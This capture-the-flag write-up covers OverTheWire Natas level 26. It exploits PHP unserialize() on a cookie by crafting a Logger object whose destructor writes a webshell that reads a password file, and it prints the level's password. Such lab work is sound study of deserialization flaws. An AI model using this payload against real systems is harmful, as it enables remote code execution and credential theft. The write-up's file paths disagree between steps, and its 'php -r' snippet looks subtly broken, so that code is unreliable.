Wargame: Natas
Level: 26
Category: Web Exploitation
Description
The page renders a drawing tool that stores line coordinates in a drawing cookie. The cookie is base64-decoded and PHP-unserialized on each request. The page source also defines a Logger class. The goal is to achieve remote code execution by exploiting unsafe deserialization.
Overview
unserialize()is called on attacker-controlled cookie data without any class whitelisting.- The
Loggerclass defined in the source has a__destruct()magic method that writes to a file. - We craft a serialized
Loggerobject with our PHP payload as theexitMsgand a web-accessible path aslogFile. - When PHP garbage-collects the deserialized object,
__destruct()writes the payload to the target path. - Requesting that path executes the PHP and outputs the next password.
Background: PHP Object Deserialization
unserialize()reconstructs any PHP class whose definition is in scope, including those not intended for user input.- Magic methods like
__destruct(),__wakeup(), and__toString()are called automatically by the PHP lifecycle. - An attacker who controls the serialized data can choose which class is instantiated and set its private properties to arbitrary values.
- The fix is to use
unserialize($data, ["allowed_classes" => false])or migrate to JSON for cookie storage.
Solution
Step 1: Understand the Logger Class
Logger::__destruct()opens$this->logFileand writes$this->exitMsgto it.- Both properties are private but can be set via a crafted serialized string.
function __destruct() {
$fd = fopen($this->logFile, "a+");
fwrite($fd, $this->exitMsg);
fclose($fd);
}
Step 2: Craft the Malicious Serialized Object
- Set
logFileto a web-accessible path:img/shell.php. - Set
exitMsgto a PHP payload:<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>. - Serialize the object locally (using a local PHP process or by constructing the string manually).
import subprocess, base64
php_code = """<?php
class Logger {
private $logFile = "img/horse3903.php";
private $initMsg = "";
private $exitMsg = "<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>";
}
echo serialize(new Logger());
"""
result = subprocess.check_output(["php", "-r", php_code])
cookie = base64.b64encode(result).decode()
Step 3: Send the Poisoned Cookie
- Make a GET request with
cookies={"drawing": cookie}. - PHP deserializes the
Loggerobject; when the request ends,__destruct()fires and writes the shell toimg/horse3903.php.
Step 4: Execute the Shell
- Request
http://natas26.natas.labs.overthewire.org/img/horse3903.php. - The PHP engine executes the payload and outputs the natas27 password.
Password
8A506rfIAXbKKk68yJeuTuRq4UfcK70k